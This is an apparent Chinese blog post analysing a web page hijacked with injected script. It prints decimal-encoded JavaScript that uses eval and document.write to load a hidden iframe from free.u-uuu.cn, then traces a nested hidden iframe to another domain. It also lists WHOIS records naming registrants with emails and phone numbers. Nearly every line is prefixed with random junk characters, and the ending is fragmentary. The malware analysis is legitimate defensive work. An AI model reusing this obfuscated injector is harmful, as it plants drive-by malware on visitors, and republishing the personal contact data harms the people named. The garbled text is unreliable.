首发在我的博客里面，
K CS},X_ 6M6r&,yRu http://www.areway.cn/?p=175 i=`@)E )VkH':yCM bx3kd+J7 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
$_u) ~O4$ kXZG<? <script>t=’60,105,102,114,97,109,101,
}\.Z{h:t
? 32,115,114,99,61,104,116,116,112,58,47,47,
+Y440Tz 102,114,101,101,46,117,45,117,117,117,46,99,
DP
&*P/ 110,47,101,114,114,111,114,46,104,116,109,
~ ll+/w\4 32,119,105,100,116,104,61,49,48,48,32,104,
NU%W9jQYS 101,105,103,104,116,61,48,62,60,47,105,102,
=BgQ Ss/^c 114,97,109,101,62′;
Nk$OTDwP t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
Wo/LrCg 5NhwIu^< <script>t=’60,105,102,114,97,109,101,32,115,
'+\.&'A 114,99,61,104,116,116,112,58,47,47,102,114,
}N#hg>;
B 101,101,46,117,45,117,117,117,46,99,110,47,
f t Rza 101,114,114,111,114,46,104,116,109,32,119,
9:CM#N~?o 105,100,116,104,61,49,48,48,32,104,101,105,
q=/ck 103,104,116,61,48,62,60,47,105,102,114,97,
l\t<_p/I)^ 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
dQPW9~g8Hg document.write(t);</script>
HA GpM\Qa @l& >C#K\ <html xmlns=”
w*IDL0# http://www.w3.org/1999/xhtml X[$FjKZh=F “>
L[}Ak1 A <head>
f>ilk Q` <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
9Z. W R-} <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
{GQRJ8 m <title>首页 - 爱生活家庭网
*l8:%t\ t|cTl/i
4 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
u\ }"l2 r 转换字符串后的大概内容是（谁点击后果自付）：
Xs$UpQo
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
~d&W;mef- ]t.6bb4 查询玉米u-uuu.cn的详细信息：
8i?:aN[.1b Domain Name: u-uuu.cn
? VHOh9|AT ROID: 20070901s10001s64972306-cn
u*<knZ~ty Domain Status: ok
J+f*D+x1 Registrant Organization: 王雷
G >j4b}e Registrant Name: 王雷
)\l(h%s[I Administrative Email:
czlovexs@126.com - i"?2gK Sponsoring Registrar: 北京万网志成科技有限公司
, &rHBNS Name Server:ns.yovole.com
rL<a^/b/= Name Server:ns1.yovole.com
6e At`L[K. Registration Date: 2007-09-01 17:54
:eW`El Expiration Date: 2008-09-01 17:54
MI|anM 最后PING了一下地址 都没有什么….
S2"H E` vUgMfy& 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
J4q_}^/2w <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
|eFce/ <script language=”javascript” src=”
0I"r*; 9?K http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script | Fp+9U >
4xzoA'Mb@ 这个玉米应该有可能是木马作者的：
&265
B_'D foafau.info的详细信息：
^#&:-4/ Access to INFO WHOIS information is provided to assist persons in
ffoLCx4o0E determining the contents of a domain name registration record in the
(@;=[5+ Afilias registry database. The data in this record is provided by
gSXidh}^ Afilias Limited for informational purposes only, and Afilias does not
:B5M#D!dO guarantee its accuracy. This service is intended only for query-based
rCgoU
xW` access. You agree that you will use this data only for lawful purposes
\[W)[ mH_ and that, under no circumstances will you use this data to: (a) allow,
M%qHf{ B enable, or otherwise support the transmission by e-mail, telephone, or
*BAR` +;U facsimile of mass unsolicited, commercial advertising or solicitations
geSH3I
to entities other than the data recipient’s own existing customers; or
)CUB7D)= (b) enable high volume, automated, electronic processes that send
.u$o^; z! queries or data to the systems of Registry Operator, a Registrar, or
F4
:#okt Afilias except as reasonably necessary to register domain names or
#^eXnhj 9 modify existing registrations. All rights reserved. Afilias reserves
2H2Yxe7? - the right to modify these terms at any time. By submitting this query,
PNhxF C. you agree to abide by this policy.
ad,pHJ` Domain ID:D22418703-LRMS
>}6V=r3[+ Domain Name:FOAFAU.INFO
5 p! rZ Created On:20-Nov-2007 16:05:42 UTC
h SF4-Vvb Last Updated On:20-Nov-2007 16:05:44 UTC
_!Ir|j.A Expiration Date:20-Nov-2008 16:05:42 UTC
;A;FR3=) Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
$ { 5 |{` Status:CLIENT DELETE PROHIBITED
!ui:0_ Status:CLIENT RENEW PROHIBITED
<5:`tC2 Status:CLIENT TRANSFER PROHIBITED
Z<@dM2b) Status:CLIENT UPDATE PROHIBITED
D:vX/mf;7 Status:TRANSFER PROHIBITED
~mK|~x01@ Registrant ID:GODA-040110615
aXRf6:\% Registrant Name:liu hong
$I:&5 o i Registrant Organization:
Y>To k|PV Registrant Street1:beijing
o=y0=,:a?9 Registrant Street2:
_"688u'88 Registrant Street3:
o-r00H| Registrant City:beijing
Z@ QJ5F1y Registrant State/Province:
y lwh_&>2 Registrant Postal Code:100000
H&E3RU> ` Registrant Country:CN
^% jk. * Registrant Phone:+86.860108888777
YK6zN>M}E Registrant Phone Ext.:
XX[CTh?O% Registrant FAX:
ERz{, >G? Registrant FAX Ext.:
X>4qL'b:z Registrant Email:bbbshiji@163.com
hmM2 c15T5 Admin ID:GODA-240110615
!pAb+6~T Admin Name:liu hong
|.Vs(0O Admin Organization:
L@>$
A w Admin Street1:beijing
x4%1P w Admin Street2:
PiZU _~A Admin Street3:
+jN%w{^= Admin City:beijing
I*hzlE Admin State/Province:
r%UsU j Admin Postal Code:100000
\ICc?8oL Admin Country:CN
y;xY74Nq Admin Phone:+86.860108888777
w Admin Phone Ext.:
^M~Z_CQL2 Admin FAX:
mq6 TwM Admin FAX Ext.:
Dwg_#GSr Admin Email:bbbshiji@163.com
\:D"#s%x Billing ID:GODA-340110615
vj hh4$k Billing Name:liu hong
<%GfF
%WlTx&jSgE 
+=K =B 
\- 8S" 
_o7t| pl~ 
zEk /15 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
